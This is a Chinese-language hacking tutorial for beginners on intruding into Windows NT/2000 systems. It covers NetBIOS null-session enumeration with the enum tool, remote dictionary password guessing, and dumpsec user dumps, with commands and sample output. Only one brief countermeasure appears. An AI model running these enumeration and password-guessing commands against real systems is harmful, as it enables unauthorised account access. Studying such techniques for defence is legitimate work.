|
战术攻防思维撷粹
引子：
网络以独特的“思维模式”蔓延了当今整个人类文明的精粹。数字经济、数字生活乃至数字生命渐渐扩充网络方式，无处不在的展示着社会的进阶发展和生命意识的高度集成进化。然而，在这片深度憧憬的虚拟国度里也同样存在集权与垄断的欲望，自由和不羁的反叛，于是在这迷幻世界里也同样存在着荷马史诗般伟大的英雄传说和正邪争霸的传奇故事。
伟大的战役总离不开智慧的较量，攻防的战术思维杂糅着高科技的网络时代战场，我们的周围将不在有硝烟，暗藏在电子信号后面的将是兵不血刃的搏斗，胜利者获取的是电子烟雾般的光环，而失败者却得到了更多的经验。每当我获得这些并不为多数人所知的珍贵礼物，会为人类智慧所散发的特殊魅力而拍案叫绝。于是，我有了写出真知的义务，也因此有了这篇战术攻防思维的诞生。我的脑海里回荡着圣经里这样一句：“你应当了解真相，真相会使你自由”。
本篇所讲述入侵/防御方法是一些基础而又有趣的实验，其目的是面向初识黑客世界的好奇者，因此难度适中，既有可操作性。
*NT/W2K，痛并快乐着的世界
似乎微软继续存在着，视窗继续发挥着GUI的美妙，那么NT/W2K入侵的话题就永远没有终点。很多时候，许多人问我入侵这些机械似系统的HOWTO。惯用的端口扫描、空连接、密码猜解各种形形色色的攻击工具似乎满足了这些初级的要求。但围绕如何获取帐号的攻击中更精湛、更有趣味的应该是基于原理下的试探和侵蚀。
对于NT/W2K大部分攻击中，获得用户名常常是个焦点。假如获得用户名后，那么大约70%的精力将花费在密码的破解上，而由于某些系统管理员的懒散行为，密码设置的极度简单(试想密码就是用户名本身的情况)，那么我们不费什么力气就拿到开启系统大门的钥匙。
【139/445端口问题】
众所周知，139/445端口的开放使得我们可以查询NetBIOS名字表，这些表中不仅存放网络共享资源列表，它也藏匿着重要的用户信息。
Razor小组集成了NetBIOS查询特征到一个综合工具：enum。可以从razor.bindview.com/tools/desc/enum_readme.Html查询到有关enum的使用说明和下载包。Enum能自动建立空会话，攻击者可以得到可以得到很有用的帐户信息和密码策略设置。
C:\toolkit>enum -U -d -P -L -c 192.168.1.151
server: 192.168.1.151
setting up session... sUCcess.
passWord policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
……
names:
netbios: Labmachine
domain: Workshop
……
getting user list (pass 1, index 0)... success, got 9.
Administrator ()
attributes:
cifctm ()
attributes:
downsoft attributes:
FTPuser attributes:
Guest ()
attributes: disabled no_passwd
……
以上结果，显示了系统的某些危险漏洞，诸如密码无过期设置，无最短密码设置等，而且也罗列了系统的用户名录。除了枚举用户名外，enum提供远程猜测密码的功能，使用本地字典文件进行一个用户的密码猜：
C:\toolkit>enum -D -u <username> -f <yourdic>
+应对策略
防止用户信息出现NetBIOS名字表，可以通过控制面板停止系统上Alerter和Messenger服务。
作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具，从Perl脚本语言的实现、各种通用Unix的远程管理工具和网络管理工具，给我们带来了有益的维护检测手段。与此同时，这样的工具具有着双面性，黑帽们(Blackhat)利用这些工具，同样可以轻松进行肆意的攻击。
使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具，我们可以得到丰富的用户信息。这里必须讲解下dumpsec，因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息：
C:\toolkit>dumpsec /computer==\\192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:\users.txt
C:\type c:\users.txt
27/2/2003 4：30 PM – Somarsoft DumpSec - \\192.168.1.1
UserName FullName Comment
Hg he gao manager
上一篇:DDoS攻防演示
下一篇:硬盘还原卡的破解
|
精品推荐